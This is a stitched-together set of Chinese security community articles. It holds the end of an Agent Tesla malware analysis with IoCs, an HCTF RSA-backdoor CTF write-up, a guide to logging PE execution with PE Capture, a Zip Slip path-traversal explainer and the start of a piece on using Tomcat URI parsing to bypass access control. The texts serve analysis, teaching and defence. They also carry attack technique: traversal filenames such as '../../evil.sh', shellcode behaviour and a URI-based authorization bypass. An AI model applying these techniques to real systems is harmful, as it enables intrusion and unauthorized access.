最后阶段shellcode的功能非常简单。载荷利用标准技术在PEB中可用的已加载模块链表中查找`kernel32.dll`模块，然后解析其导出表以便定位`LoadLibrary`以及`GetProcAddress`函数。利用这些函数，脚本可以解析出其他几个API函数（`ExpandEnvironmentStrings`、`URLDownloadToFileA`以及`ShellExecute`），从指定的URL处下载并执行`xyz.123`二进制文件（我们从Threat
Grid的分析结果中看到过这个文件）。shellcode以`scvhost.exe`来运行这个可执行文件，在前面的Threat
Grid报告中我们也能看到这个文件名。
我们也发现有多个攻击活动使用了完全相同的感染链，但会将Loki作为最终载荷，具体信息可参考下文IoC部分。
### 载荷分析
接下来我们分析一下最终载荷文件`xyz.123`（`a8ac66acd22d1e194a05c09a3dc3d98a78ebcc2914312cdd647bc209498564d8`），对应的进程名为`scvhost.exe`。
$ file xyz123.exe
xyz123.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
将该文件载入[dnSpy](https://github.com/0xd4d/dnSpy)（.NET
assemly编辑器、反编译器以及调试器工具），我们可以进一步确认这是经过大量混淆的一个.NET可执行文件。
图18. xyz123.exe
类构造函数（cctor）首先会执行如下方法，将一个大型数组加载到内存中并加以解码。
<Module>.ҭъЩӂӬҀУ\u0486\u0489їҒреӱҤЫѝйҹП()
cctor还会从该数组中重构`xs.dll`以及其他代码，然后使用其他例程处理入口点。构造函数在最后会调用`P.M()`方法跳转到`xs.dll`中。
图19. P.M()方法
这个文件非常有趣，因为我们可以根据其中特征判断这个assembly使用`Agile.Net`混淆器进行混淆。
图20. Agile.Net混淆器特征
由于这里不涉及自定义混淆方法，我们可以执行文件，稍等片刻，然后通过[Megadumper](https://github.com/CodeCracker-Tools/MegaDumper)工具直接从内存中导出.NET可执行文件。导出后的结果看起来就比较清晰。
图21. 去混淆后的代码（步骤1）
不幸的是，混淆器使用`H.G()`方法加密了所有字符串，我们无法直接获取这些字符串的内容。
图22. H.G()方法
幸运的是，`de4dot`
.NET去混淆工具只需要一条命令就能轻松解决这个问题。这里需输入样本在运行时使用哪个方法来解密字符串，具体方法是输入解密方法对应的令牌（本例中为`0x06000001`）。由于`De4dot`在自动检测Agile
.NET混淆器方面有点问题，因此我们需要使用`-p`参数手动传入该信息。
图23. de4dot .NET去混淆器
即便输出结果貌似表明操作失败，但实际上工具成功替换并恢复了所有的混淆字符串，如下图所示：
图24. 解码后的字符串
检查源码后，我们可以看到攻击者使用的是具备信息窃取/RAT功能的一款灰色软件产品：[Agent
Tesla](https://www.agenttesla.com/)。Agent
Tesla包含许多可疑的功能，比如密码窃取、屏幕捕捉以及下载其他恶意软件。然而，该产品的销售方表示这款工具适用于密码恢复和儿童监视场景。
图25. 密码窃取方法摘抄
恶意软件哈包含密码窃取功能，支持超过25款常见应用，也包含其他rootkit功能，比如键盘记录、剪贴板窃取、屏幕截图、网络摄像头访问等。恶意软件可以窃取许多应用中的密码，部分应用列表如下所示：
Chrome
Firefox
Internet Explorer
Yandex
Opera
Outlook
Thunderbird
IncrediMail
Eudora
FileZilla
WinSCP
FTP Navigator
Paltalk
Internet Download Manager
JDownloader
Apple keychain
SeaMonkey
Comodo Dragon
Flock
DynDNS
该版本恶意软件还支持使用SMTP、FTP以及HTTP协议发送窃取的数据，但仅限于HTTP
POST方法，如图26所示。恶意软件在配置数据的一个变量中硬编码了待使用的协议，几乎所有的方法中都会检查这个变量，如下所示：
if (Operators.CompareString(_P.Exfil, "webpanel", false) == 0)
...
else if (Operators.CompareString(_P.Exfil, "smtp", false) == 0)
...
else if (Operators.CompareString(_P.Exfil, "ftp", false) == 0)
图26. HTTP数据发送例程
比如，恶意软件会创建POST请求字符串，如图27所示。
图27. POST请求
然后，恶意软件会在发送数据前使用3DES算法加密数据（如图28所示）。图25中的`_P.Y`（`0295A...1618C`）方法可以算出该字符串的MD5哈希值，该哈希值用作3DES加密算法的密钥。
图28. 3DES加密算法
## 三、总结
这是一个非常高效的恶意软件攻击活动，可以规避大多数反病毒应用程序。因此，我们需要使用类似Threat Grid之类的工具来防御这些安全威胁。
这款恶意软件的幕后攻击者选择了RTF标准，然后使用经过修改的Microsoft Office漏洞利用方法来下载Agent
Tesla以及其他恶意软件。我们尚未澄清攻击者是手动修改了漏洞利用方式还是使用工具自动生成shellcode，无论是哪一种情况，都表明攻击者或者他们所使用的工具具备汇编代码修改能力，使得生成的opcode字节看起来完全不同，但仍然可以成功利用漏洞，未来这种技术还可以用来隐蔽部署其他恶意软件。
## 四、IoC
恶意文档
cf193637626e85b34a7ccaed9e4459b75605af46cedc95325583b879990e0e61 - 3027748749.rtf
A8ac66acd22d1e194a05c09a3dc3d98a78ebcc2914312cdd647bc209498564d8 - xyz.123
38fa057674b5577e33cee537a0add3e4e26f83bc0806ace1d1021d5d110c8bb2 - Proforma_Invoice_AMC18.docx
4fa7299ba750e4db0a18001679b4a23abb210d4d8e6faf05ce2cbe2586aff23f - Proforma_Invoice_AMC19.docx
1dd34c9e89e5ce7a3740eedf05e74ef9aad1cd6ce7206365f5de78a150aa9398 - HSBC8117695310_doc
恶意域名
avast[.]dongguanmolds[.]com
avast[.]aandagroupbd[.]website
与`hxxp://avast[.]dongguanmolds[.]com`地址有关的Loki样本
a8ac66acd22d1e194a05c09a3dc3d98a78ebcc2914312cdd647bc209498564d8 - xyz.123
5efab642326ea8f738fe1ea3ae129921ecb302ecce81237c44bf7266bc178bff - xyz.123
55607c427c329612e4a3407fca35483b949fc3647f60d083389996d533a77bc7 - xyz.123
992e8aca9966c1d42ff66ecabacde5299566e74ecb9d146c746acc39454af9ae - xyz.123
1dd34c9e89e5ce7a3740eedf05e74ef9aad1cd6ce7206365f5de78a150aa9398 - HSBC8117695310.doc
d9f1d308addfdebaa7183ca180019075c04cd51a96b1693a4ebf6ce98aadf678 - plugin.wbk
与Loki有关的URL
hxxp://46[.]166[.]133[.]164/0x22/fre.php
hxxp://alphastand[.]top/alien/fre.php
hxxp://alphastand[.]trade/alien/fre.php
hxxp://alphastand[.]win/alien/fre.php
hxxp://kbfvzoboss[.]bid/alien/fre.php
hxxp://logs[.]biznetviigator[.]com/0x22/fre.php
其他关联样本
1dd34c9e89e5ce7a3740eedf05e74ef9aad1cd6ce7206365f5de78a150aa9398
7c9f8316e52edf16dde86083ee978a929f4c94e3e055eeaef0ad4edc03f4a625
8b779294705a84a34938de7b8041f42b92c2d9bcc6134e5efed567295f57baf9
996c88f99575ab5d784ad3b9fa3fcc75c7450ea4f9de582ce9c7b3d147f7c6d5
dcab4a46f6e62cfaad2b8e7b9d1d8964caaadeca15790c6e19b9a18bc3996e18 | 社区文章 |
Author：[Hcamael](http://0x48.pw/)
date： 2016-11-28 20:26:26
注：更多 HCTF 题目可以在此找到：https://github.com/hduisa/HCTF2016
今年犯懒了所以只出了3题RSA的密码学题目, 出题思路来源于协会上一届的学长 @Mystery Of Panda 关于RSA后门的毕业设计.
## Crypto So Interesting
题目: <https://github.com/Hcamael/ctf-library/tree/master/RSA1>
payload: <https://github.com/Hcamael/ctf-library/blob/master/RSA1/rsa1_payload.py>
出题时预测的分数在300分左右, 不过看完选手的wp后发现这题出现了重大失误, 现在来看, 这题只值150分左右, 但是实际情况只有23个队解出了该题.
本题思路来源: 基于隐藏指数的RSA-HSDβ算法, 全称为隐藏小私有指数δ的RSA后门密钥生成算法.
该算法依赖于[wiener](https://github.com/pablocelayes/rsa-wiener-attack)小指数攻击方法
后门生成流程:
其中`β`是在`2^(k-1) ± 2^(k/2)`范围内的素数, 转置函数的作用是在`β`非常大的情况下, 返回值可以认为是PRP(Pseudo-Random Permutation). 转置函数可以有好几种形式, 我选取的是一种比较简单的转置函数.
从上面的流程可以看出这题非常的简单, 要逆向也是很容易的, 所以该题为本届HCTF密码学的签到题
逆向思路:
从上图可以看出本题只涉及到了wiener算法, 难度差不多是150左右
* * *
出题时本来是准备考两种算法的, 一种是wiener算法, 一种是[Riemann's hypothesis and tests for
primality](https://www.cs.cmu.edu/~glmiller/Publications/Papers/Mi76.pdf),
payload中的`divide_pq`函数, 已知e, d, n质因数分解p和q(<http://www.di-mgt.com.au/rsa_factorize_n.html>)
原本设计着算出`(ϵ, δ)`后, 根据`(ϵ, δ, n)`分解出`q`和`p`, 但是出题失误, 导致只需要wiener算法就能getflag
PS1: 不过还是出现了非预期, ROIS的dalao利用wiener算法分解出`p`和`q`,
<https://github.com/Hcamael/ctf-library/blob/master/RSA1/rsa_s.py>
PS2: 基于隐藏指数的RSA后门生成算法除了本题涉及的还有`RSA-HSPEβ`和`RSA-HSEβ`
## Crypto So Cool
题目: <https://github.com/Hcamael/ctf-library/tree/master/RSA2> payload:
* <https://github.com/Hcamael/ctf-library/blob/master/RSA2/rsa2_payload.py>
* <https://github.com/Hcamael/ctf-library/blob/master/RSA2/rsa2_payload.sage>
出题时预测的分数在400分左右, 实际情况只有7个队解出了该题. 和预测差不多, 最后放了一波hint, 要不然可能会更少.
本题思路来源: 基于隐藏素数因子的RSA-HPβ算法
该后门算法依赖于`Coppersmith partial information attack`算法,
[sage实现该算法](http://inaz2.hatenablog.com/entries/2016/01/20)
后门生成流程:
该算法的核心在于把p的前半部分比特隐写到n中
τ的长度为k/16比特
μ的长度为5k/16比特
λ的长度为5k/8比特
所以n的长度为k比特
`p * (q xor random(k/8比特长度))`的前3k/8比特的值是不变的
所以可以成功把τ, μ隐写到n中
逆向思路:
该题的难点主要在于`Coppersmith partial information attack`算法,
能在放hint前做出的队伍都是在github上找到了该算法的脚本 <https://github.com/Gao-Chuan/RSA-and-LLL-attacks>
## Crypto So Amazing
题目: <https://github.com/Hcamael/ctf-library/tree/master/RSA3>
payload:
* <https://github.com/Hcamael/ctf-library/blob/master/RSA3/rsa3_payload.py>
* <https://github.com/Hcamael/ctf-library/blob/master/RSA3/rsa3.sage>
出题时预测的分数在450分左右, 不过却没有能做出来, 我知道的几个队都是被上一题的脚本给坑了
本题思路来源: 基于有限域F(2^m)上椭圆曲线的RSA后门生成算法
流程图懒得画了, 上一题的后门算法看懂了, 这题去看代码也不难, 主要是通过`Diffie–Hellman key
exchange`算法生成私钥作为种子生成伪随机数, 私钥很好求, 本题的难点跟上题一样同样在于`Coppersmith partial
information attack`算法
上一题我故意改简单了, 已知p的前640比特, 所以可以很容易通过<https://github.com/Gao-Chuan/RSA-and-LLL-attacks>这个脚本恢复出完整的p
但是这题已知p的前576bit, github上的那个脚本就跑不出来了
这部分是出题时无意间挖出的坑, 因为我并不知道github上的这个脚本, 在我预想中能做出rsa2的基本都是能做出rsa3的
这题还有一个坑点
sage和python 用相同的seed生成的随机数不一样, 所以在payload中我使用了python生成随机数
## 总结
本届HCTF的Crypto计划的考点是`Coppersmith partial information attack`算法和`Riemann's
hypothesis and tests for primality`算法, 不过无奈由于出题失误第二个算法没考成
RSA后门相关的论文可参考:
* Crépeau C, Slakmon A. Simple backdoors for RSA key generation[J]. Topics in Cryptology—CT-RSA 2003, 2003, 2612: 403-416.
* Young, A., Yung, M. A Space Efficient Backdoor in RSA and its Applications[J]. Preneel, B., Tavares, S. (eds.) SAC 2005, 2005, 3897: 128-143.
* Tzung-Her Chen, Tsung-Hao Hung. A Comprehensive Study of Backdoors f or RSA Key Generation[R]. Cryptology and Information Security Conference, 2010.
* * * | 社区文章 |
# 在windows环境下使用Volatility或PE Capture捕捉执行代码（PE/DLL/驱动恶意文件）
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://isc.sans.edu/diary/Hunting+for+Executable+Code+in+Windows+Environments/20745>
译文仅供参考，具体内容表达以及含义原文为准。
可执行代码可以在微软视窗操作系统中采取不同的形式：它可以是一个可执行程序（一个可移植的可执行文件）、一个共享库（DLL）或驱动程序。在一个系统上执行代码的能力是攻击者的最终目标。他们每天都在努力寻找新的方法给系统传送恶意代码并入侵。这可能是通过一个软件漏洞、一个内嵌VBA宏的OLE文档、一个网页中恶意的JavaScript代码。这就是为什么在系统上要强制控制并了解哪些应用程序是可执行的。当一台电脑被攻破，有两种方法可以找到恶意代码：第一种是应用取证工具这样的被动反应，比如Volatility。第一步是做一个被感染的计算机内存的转储，然后分析它。下面的示例将列出在内存中发现的过程：
$ vol.py -f memory.dump --profile=Win7SP1x86 psxview
Offset(P) Name PID pslist psscan thrdproc pspcdid csrss
---------- -------------------- ------ ------ ------ -------- ------- ----- 0x06541da0 svchost.exe 1140 True True False True True
0x06531b10 wuauclt.exe 1040 True True False True True
0x065e44d8 svchost.exe 952 True True False True True
...
...
但是有另一种更积极主动的方式：在执行系统时捕获可执行代码“live”。为了实现这一点，我使用了一种叫做PE
Capture的好工具。这个工具有两个版本，一种完全免费的版本，有典型GUI的“图形化”工具。第二种作为Windows服务运行（对用户完全透明），被称为
PE Capture Service。这种对于个人使用是免费的，但许可证是需要在企业环境中获得。该工具有两个有趣的功能：But there is
another way which is more proactive:
•正如它的名字所暗示的，它捕获在系统中加载的PE文件（可执行文件、DLL、驱动器）并且在特定的目录中保存文件副本（文件名MD5hash）
•它记录可执行文件的名字，一个平面文件中MD5HASH值和执行时间戳。
安装非常简单：下载存档、在文件夹中提取文件、选择你的架构（x86或x64）、在C移动目录：PECaptureSvc
（这个可以通过配置文件修改）和发射install.bat。就是这样！每次重启后都会自动启动服务。默认情况下，捕获的可执行文件保存在：
C:PECaptureSvcIntercepted[hostname][dd<dd-mm-yyyy<dd]
日志文件是：
C:PECaptureSvcLogs[hostname][dd-mm-yyyy].log
这里是一个日志条目样本：
18/02/2016 20:45:33C:totalcmdTOTALCMD64.EXE80F48C1F435FE040D33665030F719132
请注意，一个排除数据库是可用的（以防止最常见的可执行代码被每天记录）。你可以定义正则表达式。可执行文件匹配它们不会被记录/捕获。例如：
C:MySafeTools*.exe*:CorporateTool.exe
您还可以禁用其中两个主要功能之一。举例：日志记录并没有保存所提取的代码（请记住，在繁忙的系统中“被截取”的目录大小可能会迅速增长！）
更实际一些，下面是一个系统被新成束的勒索软件感染的例子。使用的样本facture037017.doc（63c2551118c5006f6ffe6773dadbff75）通过网络钓鱼电子邮件接收。
让我们在文件上双击“微软”word开始：
18/02/2016 20:46:20
C:Program FilesCommon FilesMicrosoft SharedOFFICE12MSOXEV.DLL
2403A9F058DFDD337CE9A67AE1ECAD63
18/02/2016 21:03:46
C:Program Files (x86)WinRARRarExt64.dll
C2CE5E4DF7B3766A7A59A6634F29ABB1
18/02/2016 21:05:29
C:Program Files (x86)Microsoft OfficeOffice12WINWORD.EXE
4E7782C13D82BAA36059745280135A84
18/02/2016 21:05:35
C:Program Files (x86)Microsoft OfficeOffice12WWLIB.DLL
C102BEDBE15445AA2938EBF0D5B281E0
18/02/2016 21:05:38
C:Program Files (x86)Microsoft OfficeOffice12OART.DLL
7F2C8065F1079D04BD8BC2B19750A596
18/02/2016 21:05:42
C:Program Files (x86)Common Filesmicrosoft sharedOFFICE12MSO.DLL
E7AAFC1A321ED0E3EF44B1ED8CF09FA2
18/02/2016 21:05:42
C:Program Files (x86)Microsoft OfficeOffice121033WWINTL.DLL
BEF1EAD605CF791FDBB48ADD71075509
18/02/2016 21:05:42
C:Program Files (x86)Common Filesmicrosoft sharedOFFICE12MSPTLS.DLL
34B820CE0B0A26CFAF78F6E57709FFB7
18/02/2016 21:05:44
C:Program Files (x86)Common Filesmicrosoft sharedOFFICE12MSORES.DLL
C7D010BD8BCEF2EB3FCA8F7CD3C08D9F
18/02/2016 21:05:46
C:Program Files (x86)Common Filesmicrosoft sharedOFFICE121033MSOINTL.DLL
4C5D603A632023BFDB8EDD4436882ABF
18/02/2016 21:05:47
C:Program Files (x86)Common Filesmicrosoft sharedOFFICE11msxml5.dll
FC5CB6727354B634CD8AD3EFB4B8F83D
18/02/2016 21:05:47
C:WindowsSystem32spooldriversx643PSCRIPT5.DLL
211A1CFF92CF7F70EB61606ABB729615
18/02/2016 21:05:47
C:WindowsSystem32spooldriversx643PS5UI.DLL
9699DB0085C06D5E1D03089D88CA13B9
18/02/2016 21:05:47
C:Program Files (x86)Common Filesmicrosoft sharedOFFICE12RICHED20.DLL
1A8B4857F2CAAED89E16B1ED1F24930D
Let's double-click on the file, Microsoft Word is started:
18/02/2016 20:46:20
C:Program FilesCommon FilesMicrosoft SharedOFFICE12MSOXEV.DLL
2403A9F058DFDD337CE9A67AE1ECAD63
18/02/2016 21:03:46
C:Program Files (x86)WinRARRarExt64.dll
C2CE5E4DF7B3766A7A59A6634F29ABB1
18/02/2016 21:05:29
C:Program Files (x86)Microsoft OfficeOffice12WINWORD.EXE
4E7782C13D82BAA36059745280135A84
18/02/2016 21:05:35
C:Program Files (x86)Microsoft OfficeOffice12WWLIB.DLL
C102BEDBE15445AA2938EBF0D5B281E0
18/02/2016 21:05:38
C:Program Files (x86)Microsoft OfficeOffice12OART.DLL
7F2C8065F1079D04BD8BC2B19750A596
18/02/2016 21:05:42
C:Program Files (x86)Common Filesmicrosoft sharedOFFICE12MSO.DLL
E7AAFC1A321ED0E3EF44B1ED8CF09FA2
18/02/2016 21:05:42
C:Program Files (x86)Microsoft OfficeOffice121033WWINTL.DLL
BEF1EAD605CF791FDBB48ADD71075509
18/02/2016 21:05:42
C:Program Files (x86)Common Filesmicrosoft sharedOFFICE12MSPTLS.DLL
34B820CE0B0A26CFAF78F6E57709FFB7
18/02/2016 21:05:44
C:Program Files (x86)Common Filesmicrosoft sharedOFFICE12MSORES.DLL
C7D010BD8BCEF2EB3FCA8F7CD3C08D9F
18/02/2016 21:05:46
C:Program Files (x86)Common Filesmicrosoft sharedOFFICE121033MSOINTL.DLL
4C5D603A632023BFDB8EDD4436882ABF
18/02/2016 21:05:47
C:Program Files (x86)Common Filesmicrosoft sharedOFFICE11msxml5.dll
FC5CB6727354B634CD8AD3EFB4B8F83D
18/02/2016 21:05:47
C:WindowsSystem32spooldriversx643PSCRIPT5.DLL
211A1CFF92CF7F70EB61606ABB729615
18/02/2016 21:05:47
C:WindowsSystem32spooldriversx643PS5UI.DLL
9699DB0085C06D5E1D03089D88CA13B9
18/02/2016 21:05:47
C:Program Files (x86)Common Filesmicrosoft sharedOFFICE12RICHED20.DLL
1A8B4857F2CAAED89E16B1ED1F24930D
恶意文件包含VBA宏、VB6和正在装载的NET材料：
18/02/2016 21:05:48
C:PROGRA~2COMMON~1MICROS~1VBAVBA6VBE6.DLL
563482363CD86013E8EF29575D790D22
18/02/2016 21:05:48
C:Program Files (x86)Microsoft OfficeOffice12msproof6.dll
DA79517783552B80229705D9720B8E8D
18/02/2016 21:05:48
C:Windowswinsxsx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9amsvcp80.dll
0B3595A4FF0B36D68E5FC67FD7D70FDC
18/02/2016 21:05:49
C:Program Files (x86)Common Filesmicrosoft sharedPROOFMSLID.DLL
CB0C98DD5C3108F71BAA938B1ECD8B04
18/02/2016 21:05:49
C:PROGRA~2MICROS~3Office12OUTLFLTR.DLL
87BA0576429722DF5B92FD43F55FAD77
18/02/2016 21:05:49
C:PROGRA~2COMMON~1MICROS~1VBAVBA61033VBE6INTL.DLL
B64D8A3F75C4AB72242910D9F4BBEB75
18/02/2016 21:05:49
C:WindowsSysWOW64SCP32.DLL
F0283069C1B8E0A65A97F08186BFC9B2
18/02/2016 21:05:49
C:WindowsSysWOW64FM20.DLL
7D5AD5FAF64BF8AA1EB55B81A3AB830D
18/02/2016 21:05:49
C:WindowsSysWOW64FM20ENU.DLL
F2CE3C8E63F770DB3E59D503CE4CC311
18/02/2016 21:07:40
C:WindowsMicrosoft.NETFramework64v4.0.30319WMINet_Utils.dll
FDA2FEC6B42787EE1ED4EFD39359770B
The malicious document contains a VBA macro, VB6 and .Net material is now loaded:
18/02/2016 21:05:48
C:PROGRA~2COMMON~1MICROS~1VBAVBA6VBE6.DLL
563482363CD86013E8EF29575D790D22
18/02/2016 21:05:48
C:Program Files (x86)Microsoft OfficeOffice12msproof6.dll
DA79517783552B80229705D9720B8E8D
18/02/2016 21:05:48
C:Windowswinsxsx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9amsvcp80.dll
0B3595A4FF0B36D68E5FC67FD7D70FDC
18/02/2016 21:05:49
C:Program Files (x86)Common Filesmicrosoft sharedPROOFMSLID.DLL
CB0C98DD5C3108F71BAA938B1ECD8B04
18/02/2016 21:05:49
C:PROGRA~2MICROS~3Office12OUTLFLTR.DLL
87BA0576429722DF5B92FD43F55FAD77
18/02/2016 21:05:49
C:PROGRA~2COMMON~1MICROS~1VBAVBA61033VBE6INTL.DLL
B64D8A3F75C4AB72242910D9F4BBEB75
18/02/2016 21:05:49
C:WindowsSysWOW64SCP32.DLL
F0283069C1B8E0A65A97F08186BFC9B2
18/02/2016 21:05:49
C:WindowsSysWOW64FM20.DLL
7D5AD5FAF64BF8AA1EB55B81A3AB830D
18/02/2016 21:05:49
C:WindowsSysWOW64FM20ENU.DLL
F2CE3C8E63F770DB3E59D503CE4CC311
18/02/2016 21:07:40
C:WindowsMicrosoft.NETFramework64v4.0.30319WMINet_Utils.dll
FDA2FEC6B42787EE1ED4EFD39359770B
最后，这就下载了恶意有效载荷并通过VBA宏执行：
18/02/2016 21:08:58
C:UsersxavierAppDataLocalTempvcgfdrDYa.exe
A9188E2204532498472F2E837C3D4A97
And finally, here is our malicious payload is downloaded and executed by the VBA macro:
18/02/2016 21:08:58
C:UsersxavierAppDataLocalTempvcgfdrDYa.exe
A9188E2204532498472F2E837C3D4A97
这确实是我们的成束的恶意软件据VirusTotal：A9188E2204532498472F2E837C3D4A97。
当然，日志文件包含其他工具可重用的有用信息。我在用Splunk安装PECaptureSvc
。文件有一个干净清晰的格式，于是在你的props.conf中创建新的sourcetype很容易：
[pecapturesvc]
DATETIME_CONFIG =
NO_BINARY_CHECK = true
category = Operating System
description = PECaptureSVC Log File
pulldown_type = true
字段提取是有帮助的。我只提这两个领域：“filename”和“md5”得到这样一个有趣的活动报告：
几个月前，在以前的日记中，我解释了如何从使用微软工具FCIV“清洁”系统生成一个列表的Hash值。现在你可以把两者结合起来，自动检测到组织中不规范的PE代码。用你“知道的”（好）的哈希创建一个Splunk的查找表并且在联机时互相比较。相同的Hash值，还可以提交到VirusTotal，如果你抛弃他们，PE文件还可以用您最喜爱的工具进一步分析。
另一个很好的观点是PE
Capture不是一个普通的工具（目前为止）。我不知道有任何恶意软件检查PECaptureSvc.exe的存在，如同他们通常杀毒或调试的过程。 | 社区文章 |
Zip Slip是一个广泛存在的关键存档提取（critical archive
extraction）漏洞，该漏洞允许攻击者在系统中任意写文件，尤其是会导致远程命令执行。Snyk安全团队的研究人员6月5日发现并公布了该漏洞的细节，该漏洞影响上千个工程项目，其中一些工程来自HP、亚马逊、Apache等。
其实许多的生态系统中都存在该漏洞，包括JS、Ruby、.net和Go。但该漏洞在Java环境中尤为流行，因为java环境中没有对存档文件进行高效处理的中心库函数。缺乏这样的库函数会导致有漏洞的代码可以在开发者社区进行伪造和共享，比如栈溢出StackOverflow。
该漏洞可以用伪造的含有目录遍历文件名（e.g. ../../evil.sh）的存档进行利用。Zip slip漏洞会影响许多的存档格式，包括tar, jar,
war, cpio, apk, rar, 7z等。
Zip
Slip是一种可以从存档中提取文件的目录遍历漏洞利用形式。目录遍历漏洞的基础是攻击者可以获取目标文件夹外的文件系统的部分访问权限。然后攻击者可以覆写可执行文件，然后远程唤醒或等待系统、用户调用，然后在受害者的设备上执行远程命令。如果覆写了配置文件或其他敏感的资源，那么该漏洞就会造成比较大的危害；而且该漏洞可以在客户端和服务器利用。
# 利用应用流
利用该漏洞的两个必要条件是：
1） 有恶意顶存档文件；
2） 提取代码不会执行验证性检查。
首先，在提取时，zip文件的内容需要有一到多个会打破目标目录的文件。在下面的例子中，我们可以看到zip文件的内容。一共有2个文件，good.sh文件和evil.sh文件。good.sh文件会被提取到目标目录中，而evil.sh文件会尝试遍历目录树来到达root目录，然后在tmp目录中添加一个文件。当用户从root目录允许cd
..命令，会发现仍然在root目录中，所以在遍历到敏感文件前，恶意路径会含有许多层的../来有可能到达root目录。
该zip文件的内容被手动伪造的。虽然zip允许用户向这些路径中增加文件，但存档创建工具是不允许的。但有了好的工具，很容易就可以用这些路径创建文件。
漏洞利用的第二个条件是有从存档中提取文件的功能，这里既可以用自己的代码也开始用库函数。该漏洞存在于提取代码不验证存档中的文件路径有效性时。含有漏洞的代码段如下：
第4行e.getName()是目标目录dir连接在一起，没有进行有效性验证。此处，zip存档到达evil.sh，会将zip的入口处的全路径加到目标目录中，这会导致evil.sh写入目标目录外。
# 你会受到漏洞影响吗？
如果你使用的库存在zip slip漏洞或工程中含有有漏洞的代码，都会在不验证目录遍历的情况下从存档中提取文件。
Synk维护了一个github存档库，列出了所有有zip slip漏洞的工程：
<https://github.com/snyk/zip-slip-vulnerability>
# 采取什么措施?
下面是检查工程中是否含有zip slip漏洞的代码的步骤：
## 1\. 搜索项目中是否存在有漏洞的工程
### Java
Java生态系统不提供含有存档文件高级处理的中心库。流行的Oracle和Apache commons-compress
API被用来提供一些存档支持，但不公开提供完全提取的能力。研究人员发现Java生态系统比其他生态系统的存档库函数更多，而且许多库都是有漏洞的。
漏洞代码示例：
验证代码示例:
### Groovy
与Java类似，Groovy在不同的工程代码库中也有有漏洞的代码段，以为使用了有漏洞的Java存档处理库。
漏洞代码示例：
验证代码示例:
### JavaScript
JavaScript有很多的中心库，能够从存档中提取文件，研究人员发现的有漏洞的库已经修复了。
要说明的是join命令将两个路径参数结合在一起，并返回解析后最短的路径。
漏洞代码示例：
验证代码示例:
### .Net
.Net生态系统也有中心库函数来执行提取功能。事实上，核心.Net库中的代码会检查Zip slip漏洞。
漏洞代码示例：
验证代码示例:
### Go
Go生态系统只有一个有漏洞的库，并且在研究人员公布该问题的2天内就修复了。要说明的是join命令将两个路径参数结合在一起，并返回解析后最短的路径。
漏洞代码示例：
验证代码示例:
### Ruby & Python
研究人员没有在Ruby和Python生态中找到有漏洞的代码段和库函数。事实上，python的zipfile是有漏洞的，但在2014年就修复了。Ruby也存在各种各样的漏洞，也在之前的版本中修复了。
因为缺乏高级的提取API，所有有很多库没有正确的使用，也会造成一些漏洞的产生。
## 2\. 在应用build pipeline中添加Zip Slip安全测试
如果不通过直接或者递归依赖来搜索是否存在有漏洞的库，那么可以选择snyk这样的依赖性漏洞扫描工具。在开发生命周期中加入安全测试也是一个好的实践，比如在开发、应用和生产环境等等。还可以通过测试自己的工程来确定是否存在zip
slip漏洞。
# 其他有漏洞的工程
因为不同生态使用不同的库，所以很多工程其实都是存在漏洞的。其中，上千个工程含有系统的漏洞代码样本或漏洞库函数，最主要的有Oracle, Amazon,
Spring/Pivotal, Linkedin, Twitter, Alibaba, Jenkinsci, Eclipse, OWASP,
SonarCube, OpenTable, Arduino, ElasticSearch, Selenium, Gradle, JetBrains等。
<https://res.cloudinary.com/snyk/image/upload/v1528192501/zip-slip-vulnerability/technical-whitepaper.pdf> | 社区文章 |
# Tomcat容器攻防笔记之URI解析特性利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
* * *
## 一、提要
Hello，好久不见，最近琐事缠身，也是抽空对Tomcat这个基础特性，做了点微小的工作。
回归正题，在日常代码审计的过程中发现，Tomcat原生javax.servlet.http.HttpServletRequest类提供的getRequestURI()方法，在解析请求时若使用不当，可以绕过访问控制，导致未授权访问。
事实上，Tomcat在解析请求路径时，会自行修正路径，并使用修正后的路径来匹配对应的Servlet，然而，在路径需要修正的情况下，Tomcat自行修正后得到的URI路径跟使用getRequestURI方法得到的URI路径不一致，因而在我们去对请求路径做权限访问控制时，容易导致绕过。
ok，前情提要浅尝即止，接下来，上号！
## 二、URI解析特性
这次换个思路，逆流而上，先来看看，Tomcat是根据什么来匹配对应的Servlet。
回顾先前文章，涉及流的解析与对象封装，那就是Tomcat架构中Connector连接器与Container容器的桥梁org.apache.catalina.connector.CoyoteAdapter#prepare，在那里新建和封装Request和Response对象，并最终在postParseRequest方法的this.connector.getService().getMapper().map()中完成对Servlet的绑定。走，看看去。
阿~是decodedURI，后面是根据decodeURI来匹配Servlet的，可以，现在我们去追溯一下decodedURI。适配器CoyoteAdapter作为桥梁，首先被调用Prepare方法，在其中新建Request及Response对象，并调用postParseRequest方法对Request对象完成数据封装。
看方法名识方法作用，进入postParseRequest方法，该方法会对请求所使用的协议、方式等进行判断，并一一封装入Request对象中，略过，直捣黄龙。
decodeURI从req,decodedURI()中取出，刚取出时为null，(由于undecodedURI的Type为2时指代bytes类型，满足if条件)，随后进入if逻辑，通过duplicate(复制)，复制得到了undecodedURI的值。这里调试时，访问的地址为“/txxx/;abc/index.jsp”。随后进入parsePathParameters方法，进一步解析URI。
举一个例子说明处理流程，比方说访问的URI为“/t/;a=1;b=2/./../index.jsp”
首先根据分号来进行分割出A部分和B部分.
A部分:”/t/“
B部分:”a=1;b=2/./../index.jsp”
然后查找B部分中，第一个分号的下标，分割出pathVariables简称pv(路径参数)以及C部分。
pv部分:”a=1”
C部分:”;b=2/./../index.jsp”
将A部分与C部分进行拼接得到D部分
D部分:”/t/;b=2/./../index.jsp”
而每次分割得到的pv，会判断是否含有等于号，含有则会被保存为pathParameters，因此上述最后得到pathParameters={“a”:”1”,
”b”:”2”}，没有等于号，则直接忽略pv。
重复以上流程，直到分割后的第二部分不存在分号，最后得到“/t//./../index.jsp”
到这里，parsePathParameters(req,
request)就完成了，然后进入602行req.getURLDecoder().convert(decodedURI,
false)，完成URL编码解析，再之后进入607行normalize(req.decodedURI())方法，该方法顾名思义用于规范化URI，会对URI进行进一步的修正。
normalize方法主要有四个修正行为，一一列举。
反斜杠的Ascii码为“92”，将URI中所有的“\”修正为“/”
